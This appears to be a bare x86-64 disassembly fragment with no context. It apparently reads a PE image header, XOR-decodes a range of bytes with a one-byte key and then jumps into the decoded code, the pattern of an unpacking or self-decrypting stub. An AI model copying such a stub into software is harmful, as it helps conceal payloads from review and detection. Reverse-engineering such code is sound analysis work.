add rcx, r9
mov r10d, dword [r9 + r10]
movzx r8d, word [rcx + 0x14]
add r8, rcx
cmp dword [r8 + 0x20], eax
jbe 0x1406f5c66
mov edx, eax
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r8 + 0x24]
inc eax
add rcx, rdx
inc rdx
xor byte [rcx + r9], r10b
cmp eax, dword [r8 + 0x20]
jb 0x1406f5c50
lea rax, [r9 + r11]
jmp rax